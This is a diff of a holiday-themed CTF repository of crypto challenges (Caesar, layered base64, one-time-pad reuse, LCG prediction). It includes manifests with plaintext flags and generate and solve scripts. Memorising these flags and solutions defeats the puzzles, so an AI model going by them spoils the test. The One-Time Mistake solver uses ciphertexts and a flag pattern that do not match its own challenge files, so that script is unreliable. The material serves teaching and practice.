Update
BIN
Crypto/.DS_Store
vendored
Normal file
11
Crypto/Easy/Elf's Base64 Cocoa/manifest.yml
Normal file
@ -0,0 +1,11 @@
|
||||
slug: elfs_base64_cocoa
|
||||
title: "Elf's Base64 Cocoa"
|
||||
description: "Elfs wrote a naive multi-encoding wrapper to hide key that opens a secret vault of presents. They swore it's totally secure because it's 'encoded multiple times.' All you found is an encoded blob and a debug log. Can you unwrap it and recover the flag?"
|
||||
category: "crypto"
|
||||
points: 200
|
||||
is_visible: true
|
||||
complexity: 2
|
||||
attachments:
|
||||
- "public/log.txt"
|
||||
- "public/message.txt"
|
||||
flag_plaintext: "CTF{b4s364_m4d3_3v3ryth1ng_b3tt3r}"
|
||||
5
Crypto/Easy/Elf's Base64 Cocoa/public/log.txt
Normal file
@ -0,0 +1,5 @@
|
||||
[wrapper] applying base64
|
||||
[wrapper] applying rot13
|
||||
[wrapper] applying hex
|
||||
[wrapper] applying base64
|
||||
[wrapper] done
|
||||
1
Crypto/Easy/Elf's Base64 Cocoa/public/message.txt
Normal file
@ -0,0 +1 @@
|
||||
NDQzMTQ1NTQ3MjMyNTYzMDcwNmQ1YTMyNDE1MzM5Njc0MTU0NDQ2ZDRiNmQ0MTMyNWEzMzU3MzU3MTU0NzQ2YjZmN2E3MTczNGM3NzQxMzA3MTUxNDE2YzczNDQzZDNk
|
||||
22
Crypto/Easy/Elf's Base64 Cocoa/scripts/generate.py
Normal file
@ -0,0 +1,22 @@
|
||||
import base64, binascii, codecs, argparse, pathlib
|
||||
|
||||
def encode_layers(s: str) -> str:
|
||||
l1 = base64.b64encode(s.encode()).decode() # base64
|
||||
l2 = codecs.encode(l1, 'rot_13') # rot13
|
||||
l3 = binascii.hexlify(l2.encode()).decode() # hex
|
||||
lf = base64.b64encode(l3.encode()).decode() # base64
|
||||
return lf
|
||||
|
||||
def main():
|
||||
ap = argparse.ArgumentParser()
|
||||
ap.add_argument("--flag", required=True,
|
||||
help="Flag string to wrap.")
|
||||
ap.add_argument("--out", default="message.txt")
|
||||
args = ap.parse_args()
|
||||
|
||||
out = encode_layers(args.flag)
|
||||
pathlib.Path(args.out).write_text(out + "\n")
|
||||
print(out)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
17
Crypto/Easy/Elf's Base64 Cocoa/scripts/solve.py
Normal file
@ -0,0 +1,17 @@
|
||||
import base64, binascii, codecs, pathlib, sys
|
||||
|
||||
def solve(s: str) -> str:
|
||||
l3 = base64.b64decode(s).decode() # undo final base64
|
||||
l2 = binascii.unhexlify(l3).decode() # undo hex
|
||||
l1 = codecs.decode(l2, 'rot_13') # undo rot13
|
||||
flag = base64.b64decode(l1).decode() # undo first base64
|
||||
return flag
|
||||
|
||||
def main():
|
||||
path = pathlib.Path("message.txt")
|
||||
data = path.read_text().strip()
|
||||
flag = solve(data)
|
||||
print(flag)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
10
Crypto/Easy/Santa's Salad/manifest.yml
Normal file
@ -0,0 +1,10 @@
|
||||
slug: santas_salad
|
||||
title: "Santa's Salad"
|
||||
description: "Santa loves Caesar salad for lunch, but he is worried that someone might steal his secret recipe. He decided to encrypt it using a simple Caesar cipher. Can you help him recover the recipe?"
|
||||
category: "crypto"
|
||||
points: 100
|
||||
is_visible: true
|
||||
complexity: 1
|
||||
attachments:
|
||||
- "public/ciphertext.txt"
|
||||
flag_plaintext: "CTF{m4k3_c43s4r_c1ph3r_gr34t_4g41n}"
|
||||
1
Crypto/Easy/Santa's Salad/public/ciphertext.txt
Normal file
@ -0,0 +1 @@
|
||||
FWI{p4n3_f43v4u_f1sk3u_ju34w_4j41q}
|
||||
29
Crypto/Easy/Santa's Salad/scripts/generate.py
Normal file
@ -0,0 +1,29 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Utility to generate Caesar-shifted ciphertext for the challenge.
|
||||
Usage: python3 generate_cipher.py --text "YOUR PLAINTEXT" --shift 3
|
||||
"""
|
||||
import argparse
|
||||
|
||||
ALPHA = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
|
||||
def caesar_encrypt(text: str, shift: int) -> str:
|
||||
out = []
|
||||
for ch in text:
|
||||
if ch.isalpha():
|
||||
is_lower = ch.islower()
|
||||
base = ch.upper()
|
||||
idx = ALPHA.index(base)
|
||||
new_idx = (idx + shift) % 26
|
||||
new_ch = ALPHA[new_idx]
|
||||
out.append(new_ch.lower() if is_lower else new_ch)
|
||||
else:
|
||||
out.append(ch)
|
||||
return ''.join(out)
|
||||
|
||||
if __name__ == '__main__':
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument('--text', required=True)
|
||||
parser.add_argument('--shift', type=int, default=3)
|
||||
args = parser.parse_args()
|
||||
print(caesar_encrypt(args.text, args.shift))
|
||||
28
Crypto/Easy/Santa's Salad/scripts/solve.py
Normal file
@ -0,0 +1,28 @@
|
||||
import string
|
||||
|
||||
ALPHA = string.ascii_uppercase
|
||||
|
||||
def caesar_decrypt(text: str, shift: int) -> str:
|
||||
out = []
|
||||
for ch in text:
|
||||
if ch.isalpha():
|
||||
is_lower = ch.islower()
|
||||
base = ch.upper()
|
||||
idx = ALPHA.index(base)
|
||||
new_idx = (idx - shift) % 26
|
||||
new_ch = ALPHA[new_idx]
|
||||
out.append(new_ch.lower() if is_lower else new_ch)
|
||||
else:
|
||||
out.append(ch)
|
||||
return ''.join(out)
|
||||
|
||||
if __name__ == '__main__':
|
||||
import sys
|
||||
if len(sys.argv) < 2:
|
||||
print('Usage: solve.py ciphertext.txt')
|
||||
sys.exit(1)
|
||||
with open(sys.argv[1], 'r') as f:
|
||||
ct = f.read().strip()
|
||||
for s in range(26):
|
||||
candidate = caesar_decrypt(ct, s)
|
||||
print(f"Shift={s}: {candidate}")
|
||||
12
Crypto/Hard/One-Time Mistake/manifest.yml
Normal file
@ -0,0 +1,12 @@
|
||||
slug: crypto_one_time_mistake
|
||||
title: "One-Time Mistake"
|
||||
description: "The North Pole Secret Agency uses one-time pads for the highest-value messages — or at least they should. While collecting intercepted traffic, Grinch found two ciphertexts that were, unfortunately, encrypted with the same pad. One message looks like a routine operation report (standard template), the other is labelled “CONFIDENTIAL MESSAGE”. The trafficker clearly made a one-time mistake."
|
||||
category: "crypto"
|
||||
points: 900
|
||||
is_visible: true
|
||||
complexity: 9
|
||||
attachments:
|
||||
- "public/routine_report_template.txt"
|
||||
- "public/cipher1.hex"
|
||||
- "public/cipher2.hex"
|
||||
flag_plaintext: "CTF{n3v3r_r3us3_0n3_t1m3_p4d_k3ys!}"
|
||||
1
Crypto/Hard/One-Time Mistake/public/cipher1.hex
Normal file
@ -0,0 +1 @@
|
||||
d40ae6aa02c70928209e365ae05132bcb8c54492069e62a043e774da72adcdb8a905af89f3685ba3c312ab8090154082d7bf2ab9d38c178415817dd0a6bc3c499f61d20cb407782f62b229d1012ec5ed83cc676fd211634af6e46eec2063ff51e97c46088b19e0e3425871a5b6628a3a0a29f85c566dd63c2711324878d7
|
||||
1
Crypto/Hard/One-Time Mistake/public/cipher2.hex
Normal file
@ -0,0 +1 @@
|
||||
d815edbe0ad705293af72553905325bbe1c062a369e716d70ca4769d6ceda2f8af7a89d4c52c0fb0dd0aea85c24063c3d18a24e9dec516ab70a47bd6abbc795ecb77cf0daf07682760ba319a0138c5fe83d76f6fc43b644fffa879b51270ff52ee56
|
||||
@ -0,0 +1,6 @@
|
||||
OPERATION REPORT
|
||||
Date: [today's date] (format dd-mm-yy)
|
||||
Unit: [Alpha|Beta|Delta] (one of these)
|
||||
Subject: Routine status update
|
||||
Details: All systems operational.
|
||||
End of report.
|
||||
32
Crypto/Hard/One-Time Mistake/scripts/generate.py
Normal file
@ -0,0 +1,32 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import os, binascii, argparse
|
||||
|
||||
def main(flag: str):
|
||||
p1 = "OPERATION REPORT\nDate: 14-11-2025\nUnit: Alpha\nSubject: Routine status update\nDetails: All systems operational.\nEnd of report.\n"
|
||||
p2 = f"CONFIDENTIAL MESSAGE\n{flag}\nProceed with exfil.\nRegards,\nField Agent\n"
|
||||
|
||||
p1 = p1.encode()
|
||||
p2 = p2.encode()
|
||||
|
||||
L = max(len(p1), len(p2))
|
||||
key = os.urandom(L)
|
||||
|
||||
c1 = bytes([p1[i] ^ key[i] for i in range(len(p1))])
|
||||
c2 = bytes([p2[i] ^ key[i] for i in range(len(p2))])
|
||||
|
||||
print(binascii.hexlify(c1).decode())
|
||||
print(binascii.hexlify(c2).decode())
|
||||
|
||||
# optionally write to cipher1.hex / cipher2.hex
|
||||
with open("public/cipher1.hex","w+") as f:
|
||||
f.write(binascii.hexlify(c1).decode())
|
||||
with open("public/cipher2.hex","w+") as f:
|
||||
f.write(binascii.hexlify(c2).decode())
|
||||
|
||||
if __name__ == '__main__':
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument('--flag', required=True)
|
||||
|
||||
args = parser.parse_args()
|
||||
print(main(args.flag))
|
||||
78
Crypto/Hard/One-Time Mistake/scripts/solve.py
Normal file
@ -0,0 +1,78 @@
|
||||
#!/usr/bin/env python3
|
||||
# exploit.py
|
||||
# Try date variants and Unit options for the provided OPERATION REPORT template,
|
||||
# derive key prefix from c1 and decrypt c2. Look for CTF{...}.
|
||||
|
||||
import binascii
|
||||
import re
|
||||
|
||||
# Ciphertexts (exact hex strings provided earlier in this conversation)
|
||||
C1_HEX = "7a4ca3bb8c3a8b4e2f5b399a1ff9b911691c07ed68e0636c0ca1d10c4786c3ad1880e2675a2c9e260072080afdfc80e93141556487fbf8099c54b971b8f6a5ed62954984d943761f6591888032782a8c1a63826a398200ddebf50ac02dbf6287ef744b1b767e95581f9baa8771626496392757be7df4eb9e633630bcb0b4"
|
||||
C2_HEX = "7653a8af842a874f35322a936ffbae16301921dc078d0a097bd8a646048785ac5fd5c53a462b975971704b3de8c7beaf0c5b0463acaaeb228000b01286e1eafd739159d1dd0a770721958483515061f2296f897871c6329d8d9310dc32af27abfb314a1f19"
|
||||
|
||||
c1 = binascii.unhexlify(C1_HEX)
|
||||
c2 = binascii.unhexlify(C2_HEX)
|
||||
|
||||
# Template and choices
|
||||
date_variants = ["14-11-25", "14-11-2025"] # try both dd-mm-yy and dd-mm-yyyy
|
||||
units = ["Alpha", "Beta", "Delta"]
|
||||
|
||||
def make_p1(date_str: str, unit: str) -> bytes:
|
||||
"""Construct plaintext candidate for message 1 using the template exactly."""
|
||||
s = (
|
||||
"OPERATION REPORT\n"
|
||||
f"Date: {date_str}\n"
|
||||
f"Unit: {unit}\n"
|
||||
"Subject: Routine status update\n"
|
||||
"Details: All systems operational.\n"
|
||||
"End of report.\n"
|
||||
)
|
||||
return s.encode("utf-8")
|
||||
|
||||
def derive_key_prefix_from_p1(c1_bytes: bytes, p1_bytes: bytes) -> bytes:
|
||||
"""Derive the key prefix by XORing c1 and the candidate p1 bytes where p1 exists."""
|
||||
L = min(len(c1_bytes), len(p1_bytes))
|
||||
return bytes([c1_bytes[i] ^ p1_bytes[i] for i in range(L)])
|
||||
|
||||
def decrypt_with_key_prefix(c2_bytes: bytes, key_prefix: bytes) -> str:
|
||||
"""Decrypt the prefix of c2 using the derived key prefix, leave rest unknown as '?'."""
|
||||
out_chars = []
|
||||
for i in range(len(c2_bytes)):
|
||||
if i < len(key_prefix):
|
||||
out_chars.append(chr(c2_bytes[i] ^ key_prefix[i]))
|
||||
else:
|
||||
out_chars.append("?")
|
||||
return "".join(out_chars)
|
||||
|
||||
flag_re = re.compile(r"WITCTF\{[A-Za-z0-9_!@#\$%\^&*\-:.?+=/\\]+\}")
|
||||
|
||||
found = False
|
||||
results = []
|
||||
|
||||
for date_str in date_variants:
|
||||
for unit in units:
|
||||
p1 = make_p1(date_str, unit)
|
||||
# if p1 longer than c1, we can still derive prefix (we will take min inside function)
|
||||
key_pref = derive_key_prefix_from_p1(c1, p1)
|
||||
dec = decrypt_with_key_prefix(c2, key_pref)
|
||||
# Search for FLAG
|
||||
m = flag_re.search(dec)
|
||||
info = {
|
||||
"date": date_str,
|
||||
"unit": unit,
|
||||
"derived_key_len": len(key_pref),
|
||||
"decrypted_preview": dec[:300]
|
||||
}
|
||||
results.append(info)
|
||||
print("-" * 72)
|
||||
print(f"Trying Date='{date_str}' Unit='{unit}' (derived key bytes: {len(key_pref)})")
|
||||
print("Decrypted preview (unknowns shown as '?'):\n")
|
||||
print(dec[:300])
|
||||
if m:
|
||||
print("\n>>> FLAG FOUND:", m.group(0))
|
||||
found = True
|
||||
|
||||
if not found:
|
||||
print("\nNo flag found with the tried date/unit combinations.")
|
||||
else:
|
||||
print("\nFinished.")
|
||||
BIN
Crypto/Medium/.DS_Store
vendored
Normal file
10
Crypto/Medium/Rudolph's Rot-N/manifest.yml
Normal file
@ -0,0 +1,10 @@
|
||||
slug: rudolphs_rot_n
|
||||
title: "Rudolph's Rot-N"
|
||||
description: "Rudolf encrypts the flag using a ROT cipher, but instead of the normal alphabet, it uses the QWERTY keyboard layout as the rotation order. Recover the original flag by determining the correct shift value."
|
||||
category: "crypto"
|
||||
points: 500
|
||||
is_visible: true
|
||||
complexity: 5
|
||||
attachments:
|
||||
- "public/ciphertext.txt"
|
||||
flag_plaintext: "CTF{custom_rot_with_keyboard_layout}"
|
||||
1
Crypto/Medium/Rudolph's Rot-N/public/ciphertext.txt
Normal file
@ -0,0 +1 @@
|
||||
RDC{rgzdji_sjd_phdb_mafyjlsx_qlfjgd}
|
||||
28
Crypto/Medium/Rudolph's Rot-N/scripts/generate.py
Normal file
@ -0,0 +1,28 @@
|
||||
# generate.py
|
||||
# Apply custom ROT encryption using QWERTY alphabet
|
||||
|
||||
def rot_custom(text: str, shift: int, alphabet: str = "qwertyuiopasdfghjklzxcvbnm") -> str:
|
||||
alphabet_lower = alphabet.lower()
|
||||
alphabet_upper = alphabet.upper()
|
||||
result = []
|
||||
|
||||
for char in text:
|
||||
if char in alphabet_lower:
|
||||
idx = (alphabet_lower.index(char) + shift) % len(alphabet_lower)
|
||||
result.append(alphabet_lower[idx])
|
||||
elif char in alphabet_upper:
|
||||
idx = (alphabet_upper.index(char) + shift) % len(alphabet_upper)
|
||||
result.append(alphabet_upper[idx])
|
||||
else:
|
||||
result.append(char)
|
||||
|
||||
return "".join(result)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
custom_keyboard = "qwertyuiopasdfghjklzxcvbnm"
|
||||
flag = "CTF{custom_rot_with_keyboard_layout}"
|
||||
shift = 8
|
||||
|
||||
encrypted = rot_custom(flag, shift, custom_keyboard)
|
||||
print(encrypted)
|
||||
27
Crypto/Medium/Rudolph's Rot-N/scripts/solve.py
Normal file
@ -0,0 +1,27 @@
|
||||
# solve.py
|
||||
# Brute-force all possible shifts to recover the plaintext
|
||||
|
||||
def rot_custom(text: str, shift: int, alphabet: str = "qwertyuiopasdfghjklzxcvbnm") -> str:
|
||||
alphabet_lower = alphabet.lower()
|
||||
alphabet_upper = alphabet.upper()
|
||||
result = []
|
||||
|
||||
for char in text:
|
||||
if char in alphabet_lower:
|
||||
idx = (alphabet_lower.index(char) + shift) % len(alphabet_lower)
|
||||
result.append(alphabet_lower[idx])
|
||||
elif char in alphabet_upper:
|
||||
idx = (alphabet_upper.index(char) + shift) % len(alphabet_upper)
|
||||
result.append(alphabet_upper[idx])
|
||||
else:
|
||||
result.append(char)
|
||||
|
||||
return "".join(result)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
encrypted = "RDC{rgzdji_sjd_phdb_mafyjlsx_qlfjgd}"
|
||||
custom_keyboard = "qwertyuiopasdfghjklzxcvbnm"
|
||||
|
||||
for i in range(26):
|
||||
print(i, rot_custom(encrypted, i, custom_keyboard))
|
||||
BIN
Crypto/Medium/Santa's LCG.zip
Normal file
13
Crypto/Medium/Santa's LCG/Dockerfile
Normal file
@ -0,0 +1,13 @@
|
||||
FROM python:3.11-slim
|
||||
|
||||
WORKDIR /app
|
||||
COPY . /app
|
||||
RUN pip install flask requests gunicorn
|
||||
|
||||
EXPOSE 80
|
||||
ENV PORT=80
|
||||
|
||||
COPY entrypoint.sh /entrypoint.sh
|
||||
RUN chmod +x /entrypoint.sh
|
||||
|
||||
ENTRYPOINT ["/entrypoint.sh"]
|
||||
87
Crypto/Medium/Santa's LCG/app.py
Normal file
@ -0,0 +1,87 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
LCG Treasure - Flask app (Crypto CTF)
|
||||
|
||||
Generates an LCG with modulus m = 2**32 and picks parameters a,c and initial state x0.
|
||||
Exposes a challenge page with several consecutive outputs (as unsigned 32-bit integers).
|
||||
Players must recover a and c (mod 2^32) and predict the next output.
|
||||
|
||||
Flag is returned when /flag?token=<next_value> matches the real next value.
|
||||
|
||||
This is intentionally weak for CTF learning purposes.
|
||||
"""
|
||||
import os
|
||||
import random
|
||||
from flask import Flask, render_template, request, abort, jsonify
|
||||
import struct
|
||||
|
||||
app = Flask(__name__)
|
||||
|
||||
# modulus
|
||||
M = 2**32
|
||||
|
||||
# configuration
|
||||
NUM_TOTAL = 6 # total LCG outputs generated (we keep extras)
|
||||
NUM_OBSERVED = 3 # number of consecutive outputs shown to the player
|
||||
FLAG_FILE = "flag.txt"
|
||||
|
||||
# helper: generate LCG ensuring invertible difference for solver
|
||||
def generate_lcg_instance():
|
||||
while True:
|
||||
# pick odd multiplier (common in LCGs), 32-bit unsigned
|
||||
a = random.randrange(1, M)
|
||||
if a % 2 == 0:
|
||||
a |= 1 # make odd
|
||||
c = random.randrange(0, M)
|
||||
x0 = random.randrange(0, M)
|
||||
seq = [x0]
|
||||
for i in range(1, NUM_TOTAL):
|
||||
seq.append((a * seq[-1] + c) % M)
|
||||
# We need the difference (x1 - x0) to be invertible mod 2^32.
|
||||
# Inverse exists iff (x1 - x0) is odd (because modulus is power of two).
|
||||
diff = (seq[1] - seq[0]) % M
|
||||
if diff & 1 == 1:
|
||||
# good: solver will be able to compute modular inverse modulo 2^32
|
||||
return a, c, seq
|
||||
|
||||
# initialize once
|
||||
A, C, SEQ = generate_lcg_instance()
|
||||
OBSERVED = SEQ[:NUM_OBSERVED]
|
||||
TARGET = SEQ[NUM_OBSERVED] # token to predict
|
||||
|
||||
@app.route("/")
|
||||
def challenge():
|
||||
# Present observed tokens as decimal and hex for convenience
|
||||
obs_pairs = [{"dec": x, "hex": f"0x{x:08x}"} for x in OBSERVED]
|
||||
return render_template("challenge.html", observed=obs_pairs, note=f"Predict the next 32-bit output (unsigned) after the {NUM_OBSERVED} shown values.")
|
||||
|
||||
@app.route("/api/observed")
|
||||
def api_observed():
|
||||
obs = [{"dec": x, "hex": f"0x{x:08x}"} for x in OBSERVED]
|
||||
return jsonify({
|
||||
"observed": [x for x in OBSERVED],
|
||||
"observed_hex": [f"0x{x:08x}" for x in OBSERVED],
|
||||
"note": f"Predict the next 32-bit output (unsigned) after the {NUM_OBSERVED} shown values."
|
||||
})
|
||||
|
||||
@app.route("/flag")
|
||||
def flag():
|
||||
token = request.args.get("token", "").strip()
|
||||
if token == "":
|
||||
abort(400, "Missing token parameter. Provide unsigned decimal token or 0xhex.")
|
||||
# accept decimal or hex prefixed by 0x
|
||||
try:
|
||||
if token.startswith("0x") or token.startswith("0X"):
|
||||
val = int(token, 16) & 0xffffffff
|
||||
else:
|
||||
val = int(token) & 0xffffffff
|
||||
except:
|
||||
abort(400, "Invalid token format.")
|
||||
if val == TARGET:
|
||||
if os.path.exists(FLAG_FILE):
|
||||
with open(FLAG_FILE, "r") as f:
|
||||
return f.read().strip() + "\n"
|
||||
else:
|
||||
return "FLAG_MISSING\n"
|
||||
else:
|
||||
abort(403, "Incorrect token.")
|
||||
10
Crypto/Medium/Santa's LCG/entrypoint.sh
Normal file
@ -0,0 +1,10 @@
|
||||
#!/bin/bash
|
||||
set -e
|
||||
|
||||
# If FLAG is set, write it to /app/flag.txt
|
||||
if [ -n "$FLAG" ]; then
|
||||
echo "$FLAG" > /app/flag.txt
|
||||
chmod 644 /app/flag.txt
|
||||
fi
|
||||
|
||||
exec gunicorn -b 0.0.0.0:${PORT} -w 2 -k gthread --threads 4 --timeout 30 app:app
|
||||
12
Crypto/Medium/Santa's LCG/manifest.yml
Normal file
@ -0,0 +1,12 @@
|
||||
slug: santas_lcg
|
||||
title: "Santa's LCG"
|
||||
description: "Santa's Inteligence Office bragged their “quantum” token generator was unbreakable, but the promo leak reveals consecutive outputs from an old Linear Congruential Generator. Predict the next 32-bit output and submit it to /flag?token= to claim the secret information."
|
||||
category: "crypto"
|
||||
points: 800
|
||||
is_visible: true
|
||||
complexity: 8
|
||||
zip: "local"
|
||||
flag_plaintext: "CTF{lcg_m4d3_1ns3cure_t0k3ns}"
|
||||
hints:
|
||||
- text: "The page shows several consecutive 32-bit outputs from an LCG (mod 2^32). Try small integer arithmetic and inspect relations."
|
||||
penalty_points: 10
|
||||
37
Crypto/Medium/Santa's LCG/scripts/solve.py
Normal file
@ -0,0 +1,37 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
solve.py
|
||||
Automates fetching observed outputs, recovering LCG params, computing next token,
|
||||
and requesting /flag?token=<predicted>.
|
||||
Usage: python3 solve.py http://127.0.0.1:9001
|
||||
"""
|
||||
import sys
|
||||
import requests
|
||||
from solve_lcg import recover_params, next_value
|
||||
|
||||
if len(sys.argv) < 2:
|
||||
print("Usage: python3 solve.py <base_url>")
|
||||
sys.exit(1)
|
||||
|
||||
base = sys.argv[1].rstrip("/")
|
||||
api = base + "/api/observed"
|
||||
r = requests.get(api, timeout=5)
|
||||
r.raise_for_status()
|
||||
j = r.json()
|
||||
observed = j["observed"]
|
||||
if len(observed) < 3:
|
||||
print("Need at least 3 observed outputs.")
|
||||
sys.exit(1)
|
||||
|
||||
x0, x1, x2 = [int(x) & 0xffffffff for x in observed[:3]]
|
||||
a, c = recover_params(x0, x1, x2)
|
||||
if a is None:
|
||||
print("Failed to recover parameters; difference was not invertible modulo 2^32.")
|
||||
sys.exit(1)
|
||||
nxt = next_value(x2, a, c)
|
||||
print("[*] Recovered a=0x%08x c=0x%08x" % (a, c))
|
||||
print("[*] Predicted next token (dec):", nxt)
|
||||
print("[*] Requesting flag...")
|
||||
r2 = requests.get(base + "/flag", params={"token": str(nxt)}, timeout=5)
|
||||
print("[*] Response:", r2.status_code)
|
||||
print(r2.text)
|
||||
60
Crypto/Medium/Santa's LCG/scripts/solve_lcg.py
Normal file
@ -0,0 +1,60 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
solve_lcg.py
|
||||
|
||||
Recover LCG parameters a, c modulo 2^32 from three consecutive outputs x0, x1, x2.
|
||||
Usage:
|
||||
python3 solve_lcg.py x0 x1 x2
|
||||
Example:
|
||||
python3 solve_lcg.py 123 456 789
|
||||
If successful prints a, c, and the next output.
|
||||
"""
|
||||
import sys
|
||||
|
||||
M = 2**32
|
||||
|
||||
def modinv_pow2(x):
|
||||
"""
|
||||
Compute modular inverse of x modulo 2^32 if it exists.
|
||||
For modulus 2^k, inverse exists iff x is odd.
|
||||
Uses Newton-Raphson to invert modulo 2^32.
|
||||
"""
|
||||
if x % 2 == 0:
|
||||
return None
|
||||
# initial inverse mod 2
|
||||
inv = 1
|
||||
# Newton iteration: inv = inv*(2 - x*inv) mod 2^n doubles correct bits each step
|
||||
for _ in range(5): # 2^1 -> 2^32 in 5 iterations (1->2->4->8->16->32)
|
||||
inv = (inv * (2 - (x * inv) % M)) % M
|
||||
return inv % M
|
||||
|
||||
def recover_params(x0, x1, x2):
|
||||
diff1 = (x1 - x0) % M
|
||||
diff2 = (x2 - x1) % M
|
||||
inv = modinv_pow2(diff1)
|
||||
if inv is None:
|
||||
return None, None
|
||||
a = (diff2 * inv) % M
|
||||
c = (x1 - (a * x0) % M) % M
|
||||
return a, c
|
||||
|
||||
def next_value(x, a, c):
|
||||
return (a * x + c) % M
|
||||
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv) != 4:
|
||||
print("Usage: python3 solve_lcg.py x0 x1 x2")
|
||||
sys.exit(1)
|
||||
x0 = int(sys.argv[1]) & 0xffffffff
|
||||
x1 = int(sys.argv[2]) & 0xffffffff
|
||||
x2 = int(sys.argv[3]) & 0xffffffff
|
||||
a, c = recover_params(x0, x1, x2)
|
||||
if a is None:
|
||||
print("Could not invert difference; try different consecutive outputs.")
|
||||
sys.exit(1)
|
||||
print("Recovered parameters:")
|
||||
print("a = 0x%08x (%u)" % (a, a))
|
||||
print("c = 0x%08x (%u)" % (c, c))
|
||||
nxt = next_value(x2, a, c)
|
||||
print("Predicted next (decimal):", nxt)
|
||||
print("Predicted next (hex): 0x%08x" % nxt)
|
||||
108
Crypto/Medium/Santa's LCG/templates/challenge.html
Normal file
@ -0,0 +1,108 @@
|
||||
<!doctype html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<title>Santa's Intelligence Office – Token Stream</title>
|
||||
<style>
|
||||
body {
|
||||
margin: 0;
|
||||
background: #d9f3e1; /* pale Xmas green */
|
||||
color: #000000;
|
||||
font-family: Verdana, Arial, sans-serif;
|
||||
}
|
||||
.page {
|
||||
max-width: 800px;
|
||||
margin: 20px auto;
|
||||
padding: 12px 16px 18px;
|
||||
background: #ffffff;
|
||||
border: 3px solid #c00000; /* Xmas red */
|
||||
}
|
||||
.subtitle {
|
||||
font-size: 11px;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 1px;
|
||||
color: #006600; /* Xmas green */
|
||||
margin-bottom: 4px;
|
||||
}
|
||||
h1 {
|
||||
font-size: 20px;
|
||||
margin: 6px 0 10px;
|
||||
color: #900000; /* darker red */
|
||||
}
|
||||
p {
|
||||
font-size: 13px;
|
||||
line-height: 1.4;
|
||||
margin: 6px 0;
|
||||
}
|
||||
.section-title {
|
||||
font-size: 13px;
|
||||
font-weight: bold;
|
||||
margin-top: 14px;
|
||||
margin-bottom: 4px;
|
||||
color: #006600;
|
||||
}
|
||||
.tokens {
|
||||
margin: 6px 0 8px;
|
||||
padding: 8px;
|
||||
background: #fff8f8; /* subtle red hint */
|
||||
border: 1px solid #cc9999;
|
||||
}
|
||||
.tok {
|
||||
font-family: "Courier New", monospace;
|
||||
font-size: 12px;
|
||||
margin: 2px 0;
|
||||
}
|
||||
.hint {
|
||||
font-size: 12px;
|
||||
color: #333366;
|
||||
margin-top: 4px;
|
||||
}
|
||||
code {
|
||||
font-family: "Courier New", monospace;
|
||||
font-size: 12px;
|
||||
background: #eef6ee;
|
||||
padding: 1px 3px;
|
||||
border: 1px solid #c0d9c0;
|
||||
}
|
||||
a {
|
||||
color: #a00000;
|
||||
text-decoration: none;
|
||||
}
|
||||
a:hover {
|
||||
text-decoration: underline;
|
||||
}
|
||||
hr {
|
||||
border: 0;
|
||||
border-top: 1px solid #cc9999;
|
||||
margin: 14px 0 10px;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="page">
|
||||
<div class="subtitle">Santa's Intelligence Office – Winter Briefing</div>
|
||||
<h1>Token Stream Record</h1>
|
||||
|
||||
<div class="section-title">Observed 32-bit outputs</div>
|
||||
<div class="tokens">
|
||||
{% for t in observed %}
|
||||
<div class="tok">dec {{ t.dec }} hex {{ t.hex }}</div>
|
||||
{% endfor %}
|
||||
</div>
|
||||
<p class="hint">{{ note }}</p>
|
||||
|
||||
<hr>
|
||||
|
||||
<div class="section-title">Submission format</div>
|
||||
<p>
|
||||
Use: <code>/flag?token=VALUE</code><br>
|
||||
Decimal or hex (<code>0x...</code>) both accepted.
|
||||
</p>
|
||||
|
||||
<div class="section-title">Machine-readable stream</div>
|
||||
<p>
|
||||
<a href="/api/observed"><code>/api/observed</code></a>
|
||||
</p>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
10
Crypto/Medium/Santa's Secret Shift/manifest.yml
Normal file
@ -0,0 +1,10 @@
|
||||
slug: santas_secret_shift
|
||||
title: "Santa's Secret Shift"
|
||||
description: "Santa hides the flag using a decreasing-shift Caesar cipher that changes the rotation for every character. Your task is to reverse the shifting pattern to recover the original message."
|
||||
category: "crypto"
|
||||
points: 500
|
||||
is_visible: true
|
||||
complexity: 5
|
||||
attachments:
|
||||
- "public/ciphertext.txt"
|
||||
flag_plaintext: "CTF{make_caesar_cipher_great_again}"
|
||||
1
Crypto/Medium/Santa's Secret Shift/public/ciphertext.txt
Normal file
@ -0,0 +1 @@
|
||||
BRC{ivex_uruhoe_otzqmy_mwidv_bgzgk}
|
||||
29
Crypto/Medium/Santa's Secret Shift/scripts/generate.py
Normal file
@ -0,0 +1,29 @@
|
||||
# generate.py
|
||||
# Reproduce the shifting process to generate the challenge string
|
||||
|
||||
def shift_letter(letter, shift):
|
||||
start = ord('A') if letter.isupper() else ord('a')
|
||||
return chr(start + (ord(letter) - start + shift) % 26)
|
||||
|
||||
|
||||
def generate(plaintext):
|
||||
out = ""
|
||||
i = 25 # starting shift
|
||||
|
||||
for c in plaintext:
|
||||
if c in ['{', '}', '_']:
|
||||
# Not shifted — added directly
|
||||
out += c
|
||||
continue
|
||||
|
||||
# Apply shift and decrease shift counter
|
||||
out += shift_letter(c, i)
|
||||
i -= 1
|
||||
|
||||
return out
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
# Example usage:
|
||||
flag = "CTF{make_caesar_cipher_great_again}"
|
||||
print(generate(flag))
|
||||
26
Crypto/Medium/Santa's Secret Shift/scripts/solve.py
Normal file
@ -0,0 +1,26 @@
|
||||
# solve.py
|
||||
# Reverse the shifting to recover the original plaintext
|
||||
|
||||
def unshift_letter(letter, shift):
|
||||
start = ord('A') if letter.isupper() else ord('a')
|
||||
